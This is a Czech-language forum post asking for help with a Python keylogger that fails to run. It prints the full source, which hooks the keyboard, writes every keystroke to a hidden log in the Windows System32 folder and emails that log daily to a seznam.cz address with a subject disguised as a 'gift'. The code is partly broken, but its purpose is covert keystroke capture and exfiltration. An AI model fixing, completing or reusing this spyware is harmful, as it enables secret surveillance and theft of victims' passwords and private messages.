Python Keylogger - Need a help
Napsal: 07 kvě 2017 18:00
Ahoj!
Asi vás znovu obtěžuji ale neměl jsem inspiraci a tak jediné co mě napadlo udělat keylogger, jenže když to spouštím nic se neděje a soubor do kterého se má všechno logovat se nevytvoří. Kód vypadá takhle:
Asi vás znovu obtěžuji ale neměl jsem inspiraci a tak jediné co mě napadlo udělat keylogger, jenže když to spouštím nic se neděje a soubor do kterého se má všechno logovat se nevytvoří. Kód vypadá takhle:
Kód: Vybrat vše
import pyhook
import os
import sys
from subprocess import call
from time import *
import threading
import datetime
import smtplib, MimeWriter, StringIO, base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32event, win32api, winerror
import schedule
#checks if program is starting up for first time
startup = 1
#file path to put logs
filepath = os.environ['C:/Windows/System32']
log_file = filepath + 'logs695269146.txt'
if os.path.exists(log_file):
pass
else:
open(log_file, 'w')
#used to see if caps is on so we can put a <CAPS> and </CAPS> tag
caps = 0
def mail(serverURL=smtp.seznam.cz, sender='', to='', subject='', text=''):
"""
Usage:
"""
mail('smtp.seznam.cz', 'martez58@seznam.cz', 'MartyQCZ@seznam.cz', 'OMGWTF', 'Hello Marty! :) I have gift for you in attachment.' + strftime("%H:%M:%S:"))
message = StringIO.StringIO()
writer = MimeWriter.MimeWriter(message)
writer.addheader('Subject', subject)
writer.startmultipartbody('mixed')
# start off with a text/plain part
part = writer.nextpart()
body = part.startbody('text/plain')
body.write(text)
# now add an attachment
part = writer.nextpart()
part.addheader('Content-Transfer-Encoding', 'base64')
body = part.startbody('text/plain')
base64.encode(open(log_file, 'rb'), body)
# finish off
writer.lastpart()
# send the mail
smtp = smtplib.SMTP(s)
smtp.sendmail(sender, to, message.getvalue())
smtp.quit()
schedule.every().day.at("17:00").do(mail,sendmail)
while True:
done = False;
while(not done):
if datetime.datetime.now().hour == 17:
schedule.run_pending()
time.sleep(3600)
else:
pass
def OnKeyPress(event):
global caps
global startup
#checks if startup
if startup == 1:
fob.write('\nNEW SESSION AT ' + strftime("%H:%M:%S: "))
startup = 0
#Newline if enter is pushed
if event.Key == 'Return':
fob.write('\n')
fob.write(strftime("%H:%M:%S: "))
#I'm sorry for this blatant DRY (Don't repeat yourself) violation
#Makes exceptions for special characters
elif event.Key == 'space':
fob.write(' ')
elif event.Key == 'Control_L' or event.Key == 'Control_R' or event.Key == 'Alt_L' or event.Key == 'Alt_R' or event.Key == 'Shift_L' or event.Key == 'Shift_R':
fob.write(' ' + event.Key + ' ')
elif event.Key == 'Caps_Lock':
if caps == 0:
fob.write(' <CAPS> ')
caps = 1
else:
fob.write(' </CAPS> ')
caps = 0
elif event.Key == 'exclam':
fob.write('!')
elif event.Key == 'BackSpace':
fob.write('')
elif event.Key == 'at':
fob.write('@')
elif event.Key == 'numbersign':
fob.write('#')
elif event.Key == 'dollar':
fob.write('$')
elif event.Key == 'percent':
fob.write('%')
elif event.Key == 'asciicircum':
fob.write('^')
elif event.Key == 'ampersand':
fob.write('&')
elif event.Key == 'asterisk':
fob.write('*')
elif event.Key == 'parenleft':
fob.write('(')
elif event.Key == 'parenright':
fob.write(')')
elif event.Key == 'underscore':
fob.write('_')
elif event.Key == 'minus':
fob.write('-')
elif event.Key == 'equal':
fob.write('=')
elif event.Key == 'plus':
fob.write('+')
elif event.Key == 'backslash':
fob.write('\\')
elif event.Key == 'bracketright':
fob.write(']')
elif event.Key == 'bracketleft':
fob.write('[')
elif event.Key == 'braceright':
fob.write('}')
elif event.Key == 'braceleft':
fob.write('{')
elif event.Key == 'apostrophe':
fob.write('\'')
elif event.Key == 'quotedbl':
fob.write('"')
elif event.Key == 'semicolon':
fob.write(';')
elif event.Key == 'colon':
fob.write(':')
elif event.Key == 'slash':
fob.write('/')
elif event.Key == 'question':
fob.write('?')
elif event.Key == 'period':
fob.write('.')
elif event.Key == 'greater':
fob.write('>')
elif event.Key == 'comma':
fob.write(',')
elif event.Key == 'less':
fob.write('<')
elif event.Key == 'asciitilede':
fob.write('~')
else:
fob.write(event.Key)
if event.Ascii==124:
fob.write('\n')
fob.close()
new_hook.cancel()
#prepares hook
new_hook=pyhook.HookManager()
new_hook.KeyDown=OnKeyPress
new_hook.HookKeyboard()
new_hook.start()